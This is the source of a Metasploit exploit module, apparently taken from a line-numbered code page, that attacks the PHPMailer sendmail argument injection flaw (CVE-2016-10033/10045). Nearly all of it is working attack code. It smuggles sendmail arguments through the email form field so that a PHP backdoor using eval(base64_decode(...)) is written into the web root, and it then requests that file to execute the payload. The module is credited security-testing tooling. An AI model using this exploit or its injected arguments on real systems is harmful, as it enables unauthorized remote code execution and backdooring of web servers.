1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'PHPMailer Sendmail Argument Injection', 'Description'=> %q{ PHPMailer versions up to and including 5.2.19 are affected by a vulnerability which can be leveraged by an attacker to write a file with partially controlled contents to an arbitrary location through injection of arguments that are passed to the sendmail binary. This module writes a payload to the web root of the webserver before then executing it with an HTTP request. The user running PHPMailer must have write access to the specified WEB_ROOT directory and successful exploitation can take a few minutes. }, 'Author' => [ 'Dawid Golunski', # vulnerability discovery and original PoC 'Spencer McIntyre'# metasploit module ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2016-10033'], ['CVE', '2016-10045'], ['EDB', '40968'], ['EDB', '40969'], ['URL', 'https://github.com/opsxcq/exploit-CVE-2016-10033'], ['URL', 'https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html'] ], 'DisclosureDate' => 'Dec 26 2016', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Payload'=> {'DisableNops' => true}, 'Targets'=> [ ['PHPMailer <5.2.18', {}], ['PHPMailer 5.2.18 - 5.2.19', {}] ], 'DefaultTarget'=> 0 )) register_options( [ OptString.new('TARGETURI',[true, 'Path to the application root', '/']), OptString.new('TRIGGERURI', [false, 'Path to the uploaded payload', '']), OptString.new('WEB_ROOT', [true, 'Path to the web root', '/var/www']) ], self.class) register_advanced_options( [ OptInt.new('WAIT_TIMEOUT', [true, 'Seconds to wait to trigger the payload', 300]) ], self.class) end def trigger(trigger_uri) print_status("Sleeping before requesting the payload from: #{trigger_uri}") page_found = false sleep_time = 10 wait_time = datastore['WAIT_TIMEOUT'] print_status("Waiting for up to #{wait_time} seconds to trigger the payload") while wait_time > 0 sleep(sleep_time) wait_time -= sleep_time res = send_request_cgi( 'method' => 'GET', 'uri'=> trigger_uri ) if res.nil? if page_found or session_created? print_good('Successfully triggered the payload') break end next end next unless res.code == 200 if res.body.length == 0 and not page_found print_good('Successfully found the payload') page_found = true end end end def exploit payload_file_name = "#{rand_text_alphanumeric(8)}.php" payload_file_path = "#{datastore['WEB_ROOT']}/#{payload_file_name}" if target.name == 'PHPMailer <5.2.18' email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\\" -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com" elsif target.name == 'PHPMailer 5.2.18 - 5.2.19' email = "\"#{rand_text_alphanumeric(4 + rand(8))}\\' -OQueueDirectory=/tmp -X#{payload_file_path} #{rand_text_alphanumeric(4 + rand(8))}\"@#{rand_text_alphanumeric(4 + rand(8))}.com" else fail_with(Failure::NoTarget, 'The specified version is not supported') end data = Rex::MIME::Message.new data.add_part('submit', nil, nil, 'form-data; name="action"') data.add_part("<?php eval(base64_decode('#{Rex::Text.encode_base64(payload.encoded)}')); ?>", nil, nil, 'form-data; name="name"') data.add_part(email, nil, nil, 'form-data; name="email"') data.add_part("#{rand_text_alphanumeric(2 + rand(20))}", nil, nil, 'form-data; name="message"') print_status("Writing the backdoor to #{payload_file_path}") res = send_request_cgi( 'method' => 'POST', 'uri'=> normalize_uri(target_uri), 'ctype'=> "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) register_files_for_cleanup(payload_file_path) trigger(normalize_uri(datastore['TRIGGERURI'].blank? ? target_uri : datastore['TRIGGERURI'], payload_file_name)) end end |